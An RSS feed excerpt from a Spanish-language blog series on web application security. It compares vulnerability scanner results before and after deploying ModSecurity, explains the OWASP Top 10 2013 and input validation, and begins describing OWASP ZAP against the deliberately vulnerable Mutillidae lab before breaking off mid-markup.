https://substackcdn.com/image/fetch/$s_!r4Wk!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36969419-a21d-4331-869d-451c2a13f038_515x550.png 848w, https://substackcdn.com/image/fetch/$s_!r4Wk!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36969419-a21d-4331-869d-451c2a13f038_515x550.png 1272w, https://substackcdn.com/image/fetch/$s_!r4Wk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36969419-a21d-4331-869d-451c2a13f038_515x550.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Vega sin ModSecurity</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wm-f!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4f2160d-9dec-4ac1-b493-1e79228229e9_510x392.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wm-f!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4f2160d-9dec-4ac1-b493-1e79228229e9_510x392.png 424w, https://substackcdn.com/image/fetch/$s_!wm-f!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4f2160d-9dec-4ac1-b493-1e79228229e9_510x392.png 848w, https://substackcdn.com/image/fetch/$s_!wm-f!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4f2160d-9dec-4ac1-b493-1e79228229e9_510x392.png 1272w, https://substackcdn.com/image/fetch/$s_!wm-f!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4f2160d-9dec-4ac1-b493-1e79228229e9_510x392.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wm-f!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4f2160d-9dec-4ac1-b493-1e79228229e9_510x392.png" width="510" height="392" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e4f2160d-9dec-4ac1-b493-1e79228229e9_510x392.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:392,&quot;width&quot;:510,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;vega-post-waf&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="vega-post-waf" title="vega-post-waf" srcset="https://substackcdn.com/image/fetch/$s_!wm-f!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4f2160d-9dec-4ac1-b493-1e79228229e9_510x392.png 424w, https://substackcdn.com/image/fetch/$s_!wm-f!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4f2160d-9dec-4ac1-b493-1e79228229e9_510x392.png 848w, https://substackcdn.com/image/fetch/$s_!wm-f!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4f2160d-9dec-4ac1-b493-1e79228229e9_510x392.png 1272w, https://substackcdn.com/image/fetch/$s_!wm-f!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe4f2160d-9dec-4ac1-b493-1e79228229e9_510x392.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Vega con ModSecurity</p><p>Observamos que, en general, el n&#250;mero de vulnerabilidades encontradas ha ca&#237;do enormemente luego de la implementaci&#243;n de ModSecurity. Salvando algunos detalles extra&#241;os, que habr&#237;a que verificar (por ejemplo, Vega, antes de ModSecurity marcaba dos SQL Injection y con ModSecurity marca seis, pero es probable que eso sea un error de interpretaci&#243;n de Vega).</p><h2>Resumen Comparativo</h2><p>En resumen, podemos observar lo siguiente:</p><ul><li><p>Zap Sin ModSecurity: High + Medium: 87 </p></li><li><p>Zap Con ModSecurity: High + Medium: 2</p></li><li><p>Vega Sin ModSecurity: High + Medium: 65</p></li><li><p>Vega Con ModSecurity: High + Medium: 15</p></li></ul><p>Claramente, la visibilidad de vulnerabilidades se ha reducido, lo cual no quiere decir que las vulnerabilidades no sean explotables pero, por lo menos, ya no son tan f&#225;ciles de detectar, lo que, a priori, podr&#237;a evitar mucho ataques, porque nuestra aplicaci&#243;n ya no ser&#237;a tan atractiva para atacantes que busquen alguna tarea sencilla de realizar.</p><p>De todos modos, debemos aclarar que un Web Application Firewall no debe, ni puede, suplantar las buenas pr&#225;cticas de programaci&#243;n.Tambi&#233;n hemos visto que un Web Application Firewall no tiene que ser necesariamente dif&#237;cil de implementar. Con dedicaci&#243;n y equipos dedicados para realizar pruebas, podemos lograr implementarlo exitosamente en poco tiempo.</p><h2>En la pr&#243;xima parte</h2><p>En la pr&#243;xima parte de esa serie de art&#237;culos analizaremos c&#243;mo mitigar los ataques de Denegaci&#243;n de Servicios (DoS) en nuestras aplicaciones web.)</p>]]></content:encoded></item><item><title><![CDATA[Seguridad en Aplicaciones Web (I)]]></title><description><![CDATA[En esta serie de art&#237;culos vamos a analizar el contexto de seguridad de las aplicaciones web, as&#237; como tambi&#233;n las herramientas que podremos utilizar para auditarlas y protegerlas.]]></description><link>https://www.portantier.com/p/seguridad-en-aplicaciones-web-i</link><guid isPermaLink="false">https://www.portantier.com/p/seguridad-en-aplicaciones-web-i</guid><dc:creator><![CDATA[Fabian Martinez Portantier]]></dc:creator><pubDate>Sat, 14 Jun 2014 19:50:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!H-Xi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7908a9-97e2-4929-a7d3-94174263a000_808x970.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>En esta serie de art&#237;culos vamos a analizar el contexto de seguridad de las aplicaciones web, as&#237; como tambi&#233;n las herramientas que podremos utilizar para auditarlas y protegerlas.</p><p>Como parte inicial, vamos a analizar las particularidades de seguridad de las aplicaciones web, el OWASP Top 10 2013 y la importancia de la validaci&#243;n de datos.</p><h2>Introducci&#243;n</h2><p>El problema principal de las aplicaciones web, que lo diferencia de las aplicaciones "convencionales" es que en las aplicaciones web tenemos involucradas a una gran cantidad de tecnolog&#237;as, y cada una de ellas puede contener o introducir vulnerabilidades.</p><p>Por ejemplo, en una t&#237;pica aplicaci&#243;n LAMP (Linux, Apache, MySQL, PHP), ya tenemos cuatro tecnolog&#237;as que son de suma importancia y cada una de ellas puede introducir diferentes vulnerabilidades, a saber:</p><p>Tanto el Sistema Operativo (GNU/Linux), como el Servidor Web (Apache), como la Base de Datos (MySQL), como el Lenguaje de Programaci&#243;n (PHP) podr&#237;an estar mal configurados y/o contener errores en su c&#243;digo que permitir&#237;a a un atacante tomar control de la aplicaci&#243;n.</p><p>Aqu&#237; debemos notar que, si bien es responsabilidad del administrador del sistema configurar correctamente todos los componentes, &#233;ste no podr&#225; solucionar vulnerabilidades que a&#250;n no se hayan hecho p&#250;blicas y/o para las cuales no haya parches disponibles. Dicho esto, SI es reponsabilidad del administrador del sistema que todos los componentes se encuentren debidamente actualizados.</p><p>Hasta aqu&#237;, hemos notado que hay cuatro componentes de sistema que podr&#237;an introducir vulnerabilidades, y a&#250;n no hemos empezado a hablar del c&#243;digo propio de la aplicaci&#243;n que, en este caso, estar&#225; escrita en PHP. En esta &#225;rea, necesitamos hablar de las metodolog&#237;as de programaci&#243;n segura, que muchos desarrolladores, ya sea por falta de tiempo o de experiencia, no siguen. Esto probablemente introduzca vulnerabilidades del estilo OWASP Top 10 (que analizaremos en breve).</p><p>Sumado a todo esto, debemos considerar que, las aplicaciones actuales, suelen depender de ciertas tecnolog&#237;as adicionales a las listadas con anterioridad como, por ejemplo, JavaScript, ActionScript, HTML5 y CSS3. Todas ellas, en mayor o menor medida podr&#237;an contener vulnerabilidades o incluir nuevos vectores de ataque.</p><p>Consideremos que, en este ejemplo, hablamos de una aplicaci&#243;n del tipo "LAMP", pero este an&#225;lisis aplica a cualquier aplicaci&#243;n web, por ejemplo "Windows Server + MS SQL Server + Internet Information Services + ASP.net".</p><p>Por &#250;ltimo, destaquemos que, algunas aplicaciones web, utilizan un "mix" de tecnolog&#237;as, en el cual podemos ver, por ejemplo, una base de datos SQL y una base de datos NoSQL. O m&#225;s de un lenguaje de programaci&#243;n, lo cual agrega a&#250;n m&#225;s complejidad y posibles vectores de ataque.</p><p>Todo esto hace que las aplicaciones web no sean nada sencillas de proteger, aunque veremos que es posible y perfectamente realizable si trabajamos con criterio.</p><h2>OWASP Top 10 2013</h2><p>OWASP - Open Web Application Security Project (<a href="http://www.owasp.org">www.owasp.org</a>) es un proyecto dedicado a determinar y combatir las causas que hacen que las aplicaciones web sean inseguras.</p><p>La comunidad OWASP est&#225; formada por empresas, organizaciones educativas y particulares de todo mundo. Juntos constituyen una comunidad de seguridad inform&#225;tica que trabaja para crear art&#237;culos, metodolog&#237;as, documentaci&#243;n, herramientas y tecnolog&#237;as que se liberan y pueden ser usadas gratuitamente por cualquiera.</p><p>Uno de los proyectos m&#225;s reconocidos de esta organizaci&#243;n es el OWASP Top 10, que es, b&#225;sicamente, la lista de las diez vulnerabilidades m&#225;s frecuentes y peligrosas en las aplicaciones web.</p><p>OWASP Top 10 fue lanzado por primera vez en 2004, y est&#225;n disponibles las versiones 2007, 2010 y 2013. A partir de la versi&#243;n 2010, se da prioridad al riesgo, no s&#243;lo a la prevalencia de las vulnerabilidades.</p><p>A continuaci&#243;n podemos ver la lista de vulnerabilidades OWASP Top 10 2013:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!H-Xi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7908a9-97e2-4929-a7d3-94174263a000_808x970.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!H-Xi!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7908a9-97e2-4929-a7d3-94174263a000_808x970.png 424w, https://substackcdn.com/image/fetch/$s_!H-Xi!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7908a9-97e2-4929-a7d3-94174263a000_808x970.png 848w, https://substackcdn.com/image/fetch/$s_!H-Xi!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7908a9-97e2-4929-a7d3-94174263a000_808x970.png 1272w, https://substackcdn.com/image/fetch/$s_!H-Xi!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7908a9-97e2-4929-a7d3-94174263a000_808x970.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!H-Xi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7908a9-97e2-4929-a7d3-94174263a000_808x970.png" width="808" height="970" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fc7908a9-97e2-4929-a7d3-94174263a000_808x970.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:970,&quot;width&quot;:808,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;owasp-top-10-2013&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="owasp-top-10-2013" title="owasp-top-10-2013" srcset="https://substackcdn.com/image/fetch/$s_!H-Xi!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7908a9-97e2-4929-a7d3-94174263a000_808x970.png 424w, https://substackcdn.com/image/fetch/$s_!H-Xi!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7908a9-97e2-4929-a7d3-94174263a000_808x970.png 848w, https://substackcdn.com/image/fetch/$s_!H-Xi!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7908a9-97e2-4929-a7d3-94174263a000_808x970.png 1272w, https://substackcdn.com/image/fetch/$s_!H-Xi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7908a9-97e2-4929-a7d3-94174263a000_808x970.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Si hacemos un breve an&#225;lisis de las vulnerabilidades aqu&#237; listadas, podremos observar que muchas de ellas se deben a no validar correctamente los datos de entrada de las aplicaciones web. Esto es, b&#225;sicamente, por un mal concepto de lo que son "datos fiables" y "datos no-fiables".</p><p><strong>Datos Fiables:</strong> Son los datos sobre los cuales tenemos total control y que no pueden ser modificados por terceros ajenos a la aplicaci&#243;n. Por ejemplo, la hora del sistema, las configuraciones internas de la aplicaci&#243;n, las variables de entorno, etc.</p><p><strong>Datos No-Fiables:</strong> Todos los otros datos.</p><p>Si, es verdad que los "datos no-fiables" son algo bastante amplio, pero es preferible identificar pr&#225;cticamente cualquier dato como "no-fiable", salvo que tengamos la certeza de que dicho dato no puede ser alterado por ning&#250;n tercero. Esto es as&#237; porque los controles de seguridad y validaci&#243;n de datos nunca est&#225;n de m&#225;s (no hay problema si un dato fiable es validado como si fuera no-fiable), pero puede ser muy peligroso para una aplicaci&#243;n manipular un dato como fiable cuando verdaderamente no lo es.</p><p>Existen dos casos muy habituales que ejemplifican los errores que suelen cometer los desarroladores con respecto a la validaci&#243;n de datos:</p><p><strong>Tipos de Dato Esperados:</strong> Por ejemplo, en un campo de formulario en el que se le est&#225; pidiendo a un usuario que introduzca su a&#241;o de nacimiento. Obviamente, podemos esperar que el valor de este campo va a ser num&#233;rico (p. ej: 1985). Pero, &#191;qu&#233; sucede si la aplicaci&#243;n recibe valores alfanum&#233;ricos o caracteres especiales?</p><p>Es muy habitual encontrar aplicaciones que nos devuelven un mensaje de error interno, el cual nos hace pensar que el desarrollador no consider&#243; la posibilidad de que, por error o de forma malintencionada, un usuario introdujera datos de un tipo no esperado en el formulario.</p><p>Este tipo de errores podr&#237;a llegar a introducir vulnerabilidades serias en una aplicaci&#243;n, como Cross-Site Scripting (OWASP Top 10 2013 - A3) o SQL Injections (OWASP Top 10 2013 - A1).</p><p><strong>Datos Supuestamente No-Modificables:</strong> Es muy com&#250;n encontrar aplicaciones que consideran ciertos datos como de "s&#243;lo lectura", cuando verdaderamente son datos f&#225;cilmente modificables por un atacante.<br>El ejemplo m&#225;s habitual de esto son las cabeceras HTTP, como "User-Agent" y "Referer". Dichas cabeceras pueden ser modificadas en cualquier navegador web y, si no son correctamente validadas por la aplicaci&#243;n, podr&#237;an llegar a existir serias vulnerabilidades.<br>Volviendo a la tem&#225;tica de "Datos No Validados", aqu&#237; podemos ver qu&#233; elementos del OWASP Top 10 2013 podr&#237;an estar asociados con datos que no han sido validados correctamente:</p><p>A1 - Inyecci&#243;n<br>A2 - P&#233;rdida de Autenticaci&#243;n y Gesti&#243;n de Sesiones<br>A3 - Secuencia de Comandos en Sitios Cruzados (XSS)<br>A4 - Referencia Directa Insegura a Objetos<br>A6 - Exposici&#243;n de Datos Sensibles<br>A7 - Ausencia de Control de Acceso a las Funciones<br>A8 - Falsificaci&#243;n de Peticiones en Sitios Cruzados (CSRF)<br>A10 - Redirecciones y Reenv&#237;os No-Validados</p><p>Como podemos observar, ocho de las diez vulnerabilidades m&#225;s cr&#237;ticas de las aplicaciones web podr&#237;an estar relacionadas con una pobre validaci&#243;n de datos. Esto hace que la validaci&#243;n de datos tenga que ser nuestra prioridad n&#250;mero 1 al hablar de seguridad en aplicaciones web.</p><p>Queda en las particularidades de cada lenguaje el c&#243;mo se van a validar los datos, por ejemplo, en PHP podemos utilizar la funci&#243;n "htmlentities" para escapar caracteres especiales HTML y la funci&#243;n "mysqli_real_escape_string" para escapar caracteres especiales en consultas a bases de datos MySQL.</p><p>Para m&#225;s informaci&#243;n, podemos consultar la documentaci&#243;n de cada lenguaje, y la gu&#237;a r&#225;pida para las mejores pr&#225;cticas de programaci&#243;n segura de OWASP:</p><p><a href="http://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide">http://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide</a></p><p><a href="http://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide">OWASP Secure Coding Practices - Quick Reference Guide</a></p><h2>En la pr&#243;xima parte</h2><p>En la pr&#243;xima parte de esta serie de art&#237;culos haremos un repaso por las herramientas que podemos utilizar para auditar la seguridad de una aplicaci&#243;n web.</p>]]></content:encoded></item><item><title><![CDATA[Seguridad en Aplicaciones Web (II)]]></title><description><![CDATA[En la primera parte de este art&#237;culo analizamos las principales problem&#225;ticas de la seguridad en aplicaciones web, e hicimos un breve repaso por el OWASP Top 10 2013 y la importancia de la validaci&#243;n de datos.]]></description><link>https://www.portantier.com/p/seguridad-en-aplicaciones-web-ii</link><guid isPermaLink="false">https://www.portantier.com/p/seguridad-en-aplicaciones-web-ii</guid><dc:creator><![CDATA[Fabian Martinez Portantier]]></dc:creator><pubDate>Fri, 13 Jun 2014 19:51:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!xNvl!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb973ea3-6476-49bc-8515-c86bbdd14232_402x366.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>En la primera parte de este art&#237;culo analizamos las principales problem&#225;ticas de la seguridad en aplicaciones web, e hicimos un breve repaso por el OWASP Top 10 2013 y la importancia de la validaci&#243;n de datos. En esta parte, analizaremos dos herramientas de c&#243;digo abierto que podemos utilizar para realizar una auditor&#237;a de seguridad a nuestras aplicaciones web.</p><h2>Laboratorio de Pruebas</h2><p>Para montar un laboratorio de pruebas vamos a utilizar una instalaci&#243;n LAMP (Linux + Apache + PHP + MySQL), y le vamos a instalar la aplicaci&#243;n web Mutillidae, que es una aplicaci&#243;n intencionalmente vulnerable, que tiene el prop&#243;sito de servir como laboratorio de pr&#225;cticas, tanto para implementar medidas de defensa como para realizar auditor&#237;as de seguridad. Por este motivo, nuestras herramientas de seguridad encontrar&#225;n much&#237;simas vulnerabilidades, lo cual va a servirnos para realizar una comparativa de resultados.</p><p>Mutillidae puede descargarse desde: http://sourceforge.net/projects/mutillidae</p><h2>OWASP Zed Attack Proxy (ZAP)</h2><p>Zed Attack Proxy de OWASP (<a href="http://www.owasp.org">www.owasp.org</a>) es una herramienta de c&#243;digo abierto, escrita en Java que sirve para realizar auditor&#237;as de seguridad a aplicaciones web de una forma muy sencilla, pero tambi&#233;n potente. Entre las muchas caracter&#237;sticas de ZAP, podemos notar las siguientes:</p><p><strong>Proxy de interceptaci&#243;n:</strong> Permite ver todo el tr&#225;fico entre el servidor web y el navegador, permiti&#233;ndonos editar el tr&#225;fico en ambos sentidos de una forma muy sencilla.</p><p><strong>Spider:</strong> Es una caracter&#237;stica que ayuda a descubrir nuevas URL&#8217;s en el sitio auditado. Una de las maneras que realiza esto es analizando el c&#243;digo HTML de la p&#225;gina para descubrir etiquetas y seguir sus atributos href.</p><p><strong>Forced Browsing:</strong> Intenta descubrir directorios y archivos no indexados en el sitio como pueden ser p&#225;ginas de inicio de sesi&#243;n. Para lograrlo cuenta por defecto con una serie de diccionarios que utilizar&#225; para realizar peticiones al servidor esperando status code de respuesta 200.</p><p><strong>Active Scan:</strong> Genera de manera automatizada diferentes ataques web contro el sitio como CSRF, XSS, Inyecci&#243;n SQL entre otros.</p><p>Como la idea de este art&#237;culo es mostrar las herramientas m&#225;s f&#225;ciles y r&#225;pidas de utilizar, nos enfocaremos en la caracter&#237;stica de "Active Scan" que nos permite realizar una auditor&#237;a profunda de una aplicaci&#243;n web simplemente escribiendo la URL de la misma. El resultado que obtenemos luego de escanear las vulnerabilidades de Mutillidae es:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xNvl!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb973ea3-6476-49bc-8515-c86bbdd14232_402x366.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xNvl!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb973ea3-6476-49bc-8515-c86bbdd14232_402x366.png 424w, https://substackcdn.com/image/fetch/$s_!xNvl!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb973ea3-6476-49bc-8515-c86bbdd14232_402x366.png 848w, https://substackcdn.com/image/fetch/$s_!xNvl!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb973ea3-6476-49bc-8515-c86bbdd14232_402x366.png 1272w, https://substackcdn.com/image/fetch/$s_!xNvl!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb973ea3-6476-49bc-8515-c86bbdd14232_402x366.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xNvl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb973ea3-6476-49bc-8515-c86bbdd14232_402x366.png" width="402" height="366" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fb973ea3-6476-49bc-8515-c86bbdd14232_402x366.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:366,&quot;width&quot;:402,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;zap-sin-waf&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="zap-sin-waf" title="zap-sin-waf" srcset="https://substackcdn.com/image/fetch/$s_!xNvl!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb973ea3-6476-49bc-8515-c86bbdd14232_402x366.png 424w, https://substackcdn.com/image/fetch/$s_!xNvl!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb973ea3-6476-49bc-8515-c86bbdd14232_402x366.png 848w, https://substackcdn.com/image/fetch/$s_!xNvl!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb973ea3-6476-49bc-8515-c86bbdd14232_402x366.png 1272w, 